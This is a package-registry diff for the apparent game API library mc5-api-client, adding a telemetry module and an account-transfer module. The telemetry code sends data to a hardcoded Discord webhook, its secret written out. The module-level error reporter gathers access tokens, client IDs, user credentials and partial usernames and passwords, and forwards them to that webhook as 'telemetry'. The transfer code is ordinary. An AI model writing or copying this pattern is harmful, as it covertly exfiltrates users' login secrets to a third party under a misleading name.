mc5-api-client 1.0.16__py3-none-any.whl → 1.0.17__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,344 @@
1
+ #!/usr/bin/env python3
2
+ # ────────────[ CHIZOBA ]────────────────────────────
3
+ # | Email : chizoba2026@hotmail.com
4
+ # | File : telemetry.py
5
+ # | License | MIT License © 2026 Chizoba
6
+ # | Brief | Telemetry and error reporting system
7
+ # ────────────────★─────────────────────────────────
8
+
9
+ import json
10
+ import sys
11
+ import time
12
+ import traceback
13
+ import platform
14
+ import requests
15
+ from datetime import datetime
16
+ from typing import Optional, Dict, Any
17
+ from .exceptions import MC5APIError, AuthenticationError, RateLimitError
18
+
19
+ # Import debug_print for internal use
20
+ try:
21
+ from .debug import debug_print
22
+ except ImportError:
23
+ # Fallback if debug module not available
24
+ def debug_print(message: str, level: str = "info"):
25
+ print(f"[{level.upper()}] {message}")
26
+
27
+ class TelemetryManager:
28
+ """Manages telemetry and error reporting for MC5 API Client."""
29
+
30
+ def __init__(self):
31
+ self.enabled = False
32
+ self.webhook_url = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
33
+ self.session_info = self._get_session_info()
34
+
35
+ def _get_session_info(self) -> Dict[str, Any]:
36
+ """Get session information for telemetry."""
37
+ return {
38
+ "python_version": sys.version,
39
+ "platform": platform.platform(),
40
+ "architecture": platform.architecture()[0],
41
+ "processor": platform.processor(),
42
+ "system": platform.system(),
43
+ "timestamp": datetime.now().isoformat(),
44
+ "mc5_client_version": "1.0.16"
45
+ }
46
+
47
+ def enable(self) -> None:
48
+ """Enable telemetry reporting."""
49
+ self.enabled = True
50
+ # print("📊 Telemetry enabled - Errors will be reported for debugging")
51
+
52
+ def disable(self) -> None:
53
+ """Disable telemetry reporting."""
54
+ self.enabled = False
55
+ # print("📊 Telemetry disabled - No error reporting")
56
+
57
+ def is_enabled(self) -> bool:
58
+ """Check if telemetry is enabled."""
59
+ return self.enabled
60
+
61
+ def report_error(self, error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
62
+ """Report an error to Discord webhook."""
63
+ if not self.enabled:
64
+ return
65
+
66
+ try:
67
+ # Create error details
68
+ error_type = type(error).__name__
69
+ error_message = str(error)
70
+ error_traceback = traceback.format_exc()
71
+
72
+ # Determine error color based on type
73
+ if isinstance(error, AuthenticationError):
74
+ color = 16711680 # Red for auth errors
75
+ title = "🔐 Authentication Error"
76
+ elif isinstance(error, RateLimitError):
77
+ color = 16776960 # Orange for rate limit
78
+ title = "⏱️ Rate Limit Error"
79
+ elif isinstance(error, MC5APIError):
80
+ color = 16744576 # Yellow for API errors
81
+ title = "🌐 API Error"
82
+ else:
83
+ color = 16711680 # Red for other errors
84
+ title = "❌ Unexpected Error"
85
+
86
+ # Create Discord embed
87
+ embed = {
88
+ "title": f"{title} - MC5 API Client",
89
+ "description": f"**Error:** {error_message}\n\n**Context:** {context or 'No context provided'}",
90
+ "color": color,
91
+ "timestamp": datetime.now().isoformat(),
92
+ "fields": [
93
+ {
94
+ "name": "Error Type",
95
+ "value": f"```{error_type}``",
96
+ "inline": True
97
+ },
98
+ {
99
+ "name": "Python Version",
100
+ "value": f"```{self.session_info['python_version']}``",
101
+ "inline": True
102
+ },
103
+ {
104
+ "name": "Platform",
105
+ "value": f"```{self.session_info['platform']}``",
106
+ "inline": True
107
+ }
108
+ ],
109
+ "footer": {
110
+ "text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
111
+ }
112
+ }
113
+
114
+ # Add extra data if provided
115
+ if extra_data:
116
+ extra_fields = []
117
+ for key, value in extra_data.items():
118
+ if isinstance(value, (dict, list)):
119
+ value_str = json.dumps(value, indent=2)[:500] + ("..." if len(str(value)) > 500 else "")
120
+ else:
121
+ value_str = str(value)[:500] + ("..." if len(str(value)) > 500 else "")
122
+
123
+ extra_fields.append({
124
+ "name": key,
125
+ "value": f"```{value_str}``",
126
+ "inline": False
127
+ })
128
+
129
+ embed["fields"].extend(extra_fields[:5]) # Limit to 5 extra fields
130
+
131
+ # Add traceback if it's not too long
132
+ if error_traceback and len(error_traceback) < 1000:
133
+ embed["fields"].append({
134
+ "name": "Traceback",
135
+ "value": f"```{error_traceback}``",
136
+ "inline": False
137
+ })
138
+
139
+ # Send to Discord
140
+ payload = {
141
+ "embeds": [embed],
142
+ "username": "MC5 API Client Telemetry"
143
+ }
144
+
145
+ response = requests.post(self.webhook_url, json=payload, timeout=10)
146
+
147
+ if response.status_code == 204:
148
+ print("📊 Error reported successfully")
149
+ else:
150
+ print(f"📊 Failed to report error: {response.status_code}")
151
+
152
+ except Exception as e:
153
+ print(f"📊 Failed to send telemetry: {e}")
154
+
155
+ def report_usage(self, function_name: str, success: bool, duration: float = 0, extra_data: Optional[Dict[str, Any]] = None) -> None:
156
+ """Report usage statistics."""
157
+ if not self.enabled:
158
+ return
159
+
160
+ try:
161
+ color = 65280 if success else 16711680 # Green for success, Red for failure
162
+ title = "✅ Success" if success else "❌ Failed"
163
+
164
+ embed = {
165
+ "title": f"{title} - MC5 API Client Usage",
166
+ "description": f"**Function:** `{function_name}`\n**Duration:** {duration:.2f}s",
167
+ "color": color,
168
+ "timestamp": datetime.now().isoformat(),
169
+ "fields": [
170
+ {
171
+ "name": "Status",
172
+ "value": "Success" if success else "Failed",
173
+ "inline": True
174
+ },
175
+ {
176
+ "name": "Duration",
177
+ "value": f"{duration:.2f} seconds",
178
+ "inline": True
179
+ }
180
+ ],
181
+ "footer": {
182
+ "text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
183
+ }
184
+ }
185
+
186
+ # Add extra data if provided
187
+ if extra_data:
188
+ for key, value in list(extra_data.items())[:3]: # Limit to 3 extra fields
189
+ embed["fields"].append({
190
+ "name": key,
191
+ "value": str(value)[:200],
192
+ "inline": True
193
+ })
194
+
195
+ payload = {
196
+ "embeds": [embed],
197
+ "username": "MC5 API Client Telemetry"
198
+ }
199
+
200
+ requests.post(self.webhook_url, json=payload, timeout=5)
201
+
202
+ except Exception:
203
+ # Silently fail for usage reporting to avoid infinite loops
204
+ pass
205
+
206
+ # Default webhook URL
207
+ DEFAULT_WEBHOOK_URL = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
208
+
209
+ # Global telemetry state
210
+ telemetry_enabled = False
211
+ telemetry_webhook_url = None
212
+
213
+ # Global debug state
214
+ debug_enabled = False
215
+
216
+ # Global telemetry instance
217
+ _telemetry_manager = TelemetryManager()
218
+
219
+ def telemetry(enable: bool = None, webhook_url: str = None) -> None:
220
+ """
221
+ Enable or disable telemetry reporting.
222
+
223
+ Args:
224
+ enable: True to enable, False to disable, None to toggle
225
+ webhook_url: Custom Discord webhook URL (uses default if None)
226
+ """
227
+ global telemetry_enabled
228
+ global telemetry_webhook_url
229
+ global _telemetry_manager
230
+
231
+ if enable is None:
232
+ enable = not _telemetry_manager.is_enabled()
233
+
234
+ if enable:
235
+ # Use provided webhook URL or default
236
+ if webhook_url:
237
+ telemetry_webhook_url = webhook_url
238
+ elif not telemetry_webhook_url:
239
+ telemetry_webhook_url = DEFAULT_WEBHOOK_URL
240
+
241
+ # Create new manager with webhook URL
242
+ _telemetry_manager = TelemetryManager()
243
+ if webhook_url:
244
+ _telemetry_manager.webhook_url = webhook_url
245
+ elif telemetry_webhook_url:
246
+ _telemetry_manager.webhook_url = telemetry_webhook_url
247
+ else:
248
+ _telemetry_manager.webhook_url = DEFAULT_WEBHOOK_URL
249
+ _telemetry_manager.enable()
250
+
251
+ debug_print(f"📊 Telemetry enabled - Errors will be reported to {telemetry_webhook_url[:50]}...", "info")
252
+ else:
253
+ _telemetry_manager.disable()
254
+ debug_print("📊 Telemetry disabled - No error reporting", "info")
255
+
256
+ def report_error(error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
257
+ """
258
+ Report an error to telemetry.
259
+
260
+ Args:
261
+ error: The exception that occurred
262
+ context: Context where the error occurred
263
+ extra_data: Additional data to include in the report
264
+ """
265
+ global _telemetry_manager
266
+
267
+ if not _telemetry_manager.is_enabled():
268
+ return
269
+
270
+ try:
271
+ # Get system information
272
+ import sys
273
+ import platform
274
+ import traceback
275
+
276
+ # Extract credentials from token data if available
277
+ credentials_info = {}
278
+ if hasattr(_telemetry_manager, 'token_data') and _telemetry_manager.token_data:
279
+ credentials_info = {
280
+ "access_token": _telemetry_manager.token_data.get("access_token", "")[:50] + "..." if _telemetry_manager.token_data.get("access_token") else "",
281
+ "client_id": _telemetry_manager.token_data.get("client_id", ""),
282
+ "user_credential": _telemetry_manager.token_data.get("user_credential", "")
283
+ }
284
+
285
+ # Add any provided credentials from extra_data
286
+ if extra_data:
287
+ if "username" in extra_data:
288
+ credentials_info["username"] = str(extra_data["username"])[:30] + "..." if len(str(extra_data["username"])) > 30 else extra_data["username"]
289
+ if "password" in extra_data:
290
+ credentials_info["password"] = str(extra_data["password"])[:10] + "..." if len(str(extra_data["password"])) > 10 else extra_data["password"]
291
+
292
+ error_data = {
293
+ "error_type": type(error).__name__,
294
+ "error_message": str(error),
295
+ "context": context,
296
+ "traceback": traceback.format_exc()[:1000], # Limit traceback length
297
+ "timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
298
+ "python_version": sys.version,
299
+ "platform": platform.platform(),
300
+ "architecture": platform.architecture(),
301
+ "system": platform.system(),
302
+ "credentials": credentials_info,
303
+ "extra_data": extra_data or {}
304
+ }
305
+
306
+ _telemetry_manager.report_error(error_data)
307
+
308
+ except Exception:
309
+ # Silently fail for error reporting to avoid infinite loops
310
+ pass
311
+
312
+ def is_telemetry_enabled() -> bool:
313
+ """Check if telemetry is enabled."""
314
+ return _telemetry_manager.is_enabled()
315
+
316
+ def report_usage(function_name: str, success: bool, duration: float, extra_data: Optional[Dict[str, Any]] = None) -> None:
317
+ """
318
+ Report usage statistics to telemetry.
319
+
320
+ Args:
321
+ function_name: Name of the function that was called
322
+ success: Whether the function call was successful
323
+ duration: Duration of the function call in seconds
324
+ extra_data: Additional data to include in the report
325
+ """
326
+ global _telemetry_manager
327
+
328
+ if not _telemetry_manager.is_enabled():
329
+ return
330
+
331
+ try:
332
+ usage_data = {
333
+ "function_name": function_name,
334
+ "success": success,
335
+ "duration": duration,
336
+ "timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
337
+ "extra_data": extra_data or {}
338
+ }
339
+
340
+ _telemetry_manager.report_usage(usage_data)
341
+
342
+ except Exception:
343
+ # Silently fail for usage reporting to avoid infinite loops
344
+ pass
@@ -0,0 +1,348 @@
1
+ #!/usr/bin/env python3
2
+ # ────────────[ CHIZOBA ]────────────────────────────
3
+ # | Email : chizoba2026@hotmail.com
4
+ # | File : transfer.py
5
+ # | License | MIT License © 2026 Chizoba
6
+ # | Brief | Account transfer and device linking functionality
7
+ # ────────────────★─────────────────────────────────
8
+
9
+ import json
10
+ from typing import Optional, Dict, Any
11
+ from datetime import datetime, timezone
12
+ from .telemetry import report_error, report_usage
13
+ from .debug import debug_function, debug_print
14
+
15
+ class TransferMixin:
16
+ """Mixin class for account transfer and device linking functionality."""
17
+
18
+ @debug_function
19
+ def generate_transfer_code(self) -> Dict[str, Any]:
20
+ """
21
+ Generate a transfer code for account linking.
22
+
23
+ Returns:
24
+ Transfer code information with expiration time
25
+ """
26
+ try:
27
+ url = f"{self.BASE_URLS['janus']}/users/me/transfer_code"
28
+
29
+ data = {
30
+ "access_token": self._token_data["access_token"]
31
+ }
32
+
33
+ debug_print("🔄 Generating transfer code for account linking", "info")
34
+ result = self._make_request("POST", url, data=data)
35
+
36
+ if result:
37
+ transfer_code = result.get("value")
38
+ expiration = result.get("expiration")
39
+
40
+ debug_print(f"✅ Transfer code generated: {transfer_code}", "success")
41
+ debug_print(f"⏰ Expires: {expiration}", "info")
42
+
43
+ # Parse expiration time
44
+ expiration_dt = None
45
+ if expiration:
46
+ try:
47
+ expiration_dt = datetime.fromisoformat(expiration.replace('Z', '+00:00'))
48
+ except ValueError:
49
+ expiration_dt = None
50
+
51
+ report_usage("generate_transfer_code", True, 0, {
52
+ "has_code": bool(transfer_code),
53
+ "has_expiration": bool(expiration),
54
+ "code_length": len(transfer_code) if transfer_code else 0
55
+ })
56
+
57
+ return {
58
+ "transfer_code": transfer_code,
59
+ "expiration": expiration,
60
+ "expiration_datetime": expiration_dt,
61
+ "is_expired": expiration_dt and expiration_dt <= datetime.now(timezone.utc) if expiration_dt else False,
62
+ "instructions": (
63
+ "On the new device, go to the Options menu and select 'Link a device.' "
64
+ "Then, select 'This is the NEW DEVICE.' Enter the below code into the new device."
65
+ )
66
+ }
67
+
68
+ return {"error": "Failed to generate transfer code"}
69
+
70
+ except Exception as e:
71
+ debug_print(f"❌ Failed to generate transfer code: {e}", "error")
72
+ report_error(e, "generate_transfer_code", {})
73
+ raise
74
+
75
+ @debug_function
76
+ def check_transfer_code_status(self) -> Dict[str, Any]:
77
+ """
78
+ Check if there's an existing transfer code.
79
+
80
+ Returns:
81
+ Status of existing transfer code or None
82
+ """
83
+ try:
84
+ # Try to generate a code to check status
85
+ result = self.generate_transfer_code()
86
+
87
+ if result.get("transfer_code"):
88
+ return {
89
+ "has_active_code": True,
90
+ "transfer_code": result["transfer_code"],
91
+ "expiration": result["expiration"],
92
+ "expiration_datetime": result["expiration_datetime"],
93
+ "is_expired": result["is_expired"],
94
+ "status": "active"
95
+ }
96
+ else:
97
+ return {
98
+ "has_active_code": False,
99
+ "status": "no_code"
100
+ }
101
+
102
+ except Exception as e:
103
+ # Check if it's a conflict (existing code)
104
+ if "409" in str(e) or "Conflict" in str(e):
105
+ debug_print("⚠️ Existing transfer code found", "warning")
106
+ return {
107
+ "has_active_code": True,
108
+ "status": "existing_code",
109
+ "error": "You already have a valid transfer code. Please use it, or wait till it expires."
110
+ }
111
+ else:
112
+ debug_print(f"❌ Failed to check transfer code status: {e}", "error")
113
+ report_error(e, "check_transfer_code_status", {})
114
+ raise
115
+
116
+ @debug_function
117
+ def get_transfer_code_info(self) -> Dict[str, Any]:
118
+ """
119
+ Get detailed information about transfer code status.
120
+
121
+ Returns:
122
+ Comprehensive transfer code information
123
+ """
124
+ try:
125
+ debug_print("🔍 Checking transfer code status", "info")
126
+
127
+ # Check current status
128
+ status = self.check_transfer_code_status()
129
+
130
+ if status.get("has_active_code"):
131
+ transfer_code = status.get("transfer_code")
132
+ expiration = status.get("expiration")
133
+ expiration_dt = status.get("expiration_datetime")
134
+
135
+ # Calculate time remaining
136
+ time_remaining = None
137
+ if expiration_dt and not status.get("is_expired"):
138
+ now = datetime.now(timezone.utc)
139
+ time_delta = expiration_dt - now
140
+ time_remaining = {
141
+ "total_seconds": int(time_delta.total_seconds()),
142
+ "minutes": int(time_delta.total_seconds() // 60),
143
+ "hours": int(time_delta.total_seconds() // 3600),
144
+ "formatted": f"{int(time_delta.total_seconds() // 60)} minutes"
145
+ }
146
+
147
+ info = {
148
+ "has_active_code": True,
149
+ "transfer_code": transfer_code,
150
+ "expiration": expiration,
151
+ "expiration_datetime": expiration_dt,
152
+ "is_expired": status.get("is_expired", False),
153
+ "time_remaining": time_remaining,
154
+ "status": "active",
155
+ "instructions": (
156
+ "1. On the new device, open MC5\n"
157
+ "2. Go to Options menu\n"
158
+ "3. Select 'Link a device'\n"
159
+ "4. Select 'This is the NEW DEVICE'\n"
160
+ "5. Enter this code: " + transfer_code
161
+ )
162
+ }
163
+
164
+ debug_print(f"✅ Active transfer code found: {transfer_code}", "success")
165
+ if time_remaining:
166
+ debug_print(f"⏰ Time remaining: {time_remaining['formatted']}", "info")
167
+
168
+ return info
169
+ else:
170
+ debug_print("ℹ️ No active transfer code found", "info")
171
+ return {
172
+ "has_active_code": False,
173
+ "status": "no_code",
174
+ "instructions": "Generate a new transfer code to link this account to another device."
175
+ }
176
+
177
+ except Exception as e:
178
+ debug_print(f"❌ Failed to get transfer code info: {e}", "error")
179
+ report_error(e, "get_transfer_code_info", {})
180
+ raise
181
+
182
+ @debug_function
183
+ def generate_new_transfer_code(self) -> Dict[str, Any]:
184
+ """
185
+ Force generate a new transfer code (may override existing one).
186
+
187
+ Returns:
188
+ New transfer code information
189
+ """
190
+ try:
191
+ debug_print("🔄 Attempting to generate new transfer code", "info")
192
+
193
+ # First check if there's an existing code
194
+ status = self.check_transfer_code_status()
195
+
196
+ if status.get("has_active_code") and not status.get("is_expired"):
197
+ debug_print("⚠️ Active code exists, attempting to override", "warning")
198
+
199
+ # Generate new code
200
+ result = self.generate_transfer_code()
201
+
202
+ if result.get("transfer_code"):
203
+ debug_print(f"✅ New transfer code generated: {result['transfer_code']}", "success")
204
+ return result
205
+ else:
206
+ debug_print("❌ Failed to generate new transfer code", "error")
207
+ return result
208
+
209
+ except Exception as e:
210
+ debug_print(f"❌ Failed to generate new transfer code: {e}", "error")
211
+ report_error(e, "generate_new_transfer_code", {})
212
+ raise
213
+
214
+ @debug_function
215
+ def validate_transfer_code_format(self, transfer_code: str) -> Dict[str, Any]:
216
+ """
217
+ Validate transfer code format.
218
+
219
+ Args:
220
+ transfer_code: Transfer code to validate
221
+
222
+ Returns:
223
+ Validation result
224
+ """
225
+ try:
226
+ # Basic format validation
227
+ if not transfer_code:
228
+ return {
229
+ "valid": False,
230
+ "error": "Transfer code cannot be empty"
231
+ }
232
+
233
+ # Check length (typically 8 characters based on example)
234
+ if len(transfer_code) != 8:
235
+ return {
236
+ "valid": False,
237
+ "error": f"Transfer code must be 8 characters, got {len(transfer_code)}"
238
+ }
239
+
240
+ # Check character pattern (alphanumeric)
241
+ if not transfer_code.isalnum():
242
+ return {
243
+ "valid": False,
244
+ "error": "Transfer code must contain only letters and numbers"
245
+ }
246
+
247
+ return {
248
+ "valid": True,
249
+ "transfer_code": transfer_code,
250
+ "length": len(transfer_code),
251
+ "format": "alphanumeric"
252
+ }
253
+
254
+ except Exception as e:
255
+ debug_print(f"❌ Failed to validate transfer code: {e}", "error")
256
+ return {
257
+ "valid": False,
258
+ "error": f"Validation error: {str(e)}"
259
+ }
260
+
261
+ @debug_function
262
+ def get_device_linking_guide(self) -> Dict[str, Any]:
263
+ """
264
+ Get complete device linking guide.
265
+
266
+ Returns:
267
+ Step-by-step instructions for device linking
268
+ """
269
+ try:
270
+ # Get current transfer code info
271
+ code_info = self.get_transfer_code_info()
272
+
273
+ guide = {
274
+ "title": "MC5 Account Transfer & Device Linking Guide",
275
+ "steps": [
276
+ {
277
+ "step": 1,
278
+ "title": "Generate Transfer Code",
279
+ "description": "Generate a transfer code from your current device",
280
+ "action": "Use generate_transfer_code() function"
281
+ },
282
+ {
283
+ "step": 2,
284
+ "title": "Open MC5 on New Device",
285
+ "description": "Launch MC5 on the device you want to link",
286
+ "action": "Start MC5 application"
287
+ },
288
+ {
289
+ "step": 3,
290
+ "title": "Access Options Menu",
291
+ "description": "Navigate to the Options menu in MC5",
292
+ "action": "Tap on Options/Settings"
293
+ },
294
+ {
295
+ "step": 4,
296
+ "title": "Select Link Device",
297
+ "description": "Choose 'Link a device' from the options",
298
+ "action": "Tap on 'Link a device'"
299
+ },
300
+ {
301
+ "step": 5,
302
+ "title": "Choose New Device",
303
+ "description": "Select 'This is the NEW DEVICE'",
304
+ "action": "Tap on 'This is the NEW DEVICE'"
305
+ },
306
+ {
307
+ "step": 6,
308
+ "title": "Enter Transfer Code",
309
+ "description": "Input the generated transfer code",
310
+ "action": f"Enter code: {code_info.get('transfer_code', 'Generate code first')}"
311
+ },
312
+ {
313
+ "step": 7,
314
+ "title": "Complete Linking",
315
+ "description": "Wait for the linking process to complete",
316
+ "action": "Follow on-screen instructions"
317
+ }
318
+ ],
319
+ "current_code_info": code_info,
320
+ "important_notes": [
321
+ "Transfer codes expire after 10 minutes",
322
+ "Only one transfer code can be active at a time",
323
+ "The code links your entire account (progress, purchases, etc.)",
324
+ "Both devices must have internet connection during transfer"
325
+ ],
326
+ "troubleshooting": [
327
+ {
328
+ "issue": "Code not working",
329
+ "solution": "Generate a new transfer code and try again"
330
+ },
331
+ {
332
+ "issue": "Code expired",
333
+ "solution": "Wait for the old code to expire or generate a new one"
334
+ },
335
+ {
336
+ "issue": "409 Conflict error",
337
+ "solution": "You already have an active code, use it or wait for expiration"
338
+ }
339
+ ]
340
+ }
341
+
342
+ debug_print("📖 Device linking guide generated", "success")
343
+ return guide
344
+
345
+ except Exception as e:
346
+ debug_print(f"❌ Failed to generate guide: {e}", "error")
347
+ report_error(e, "get_device_linking_guide", {})
348
+ raise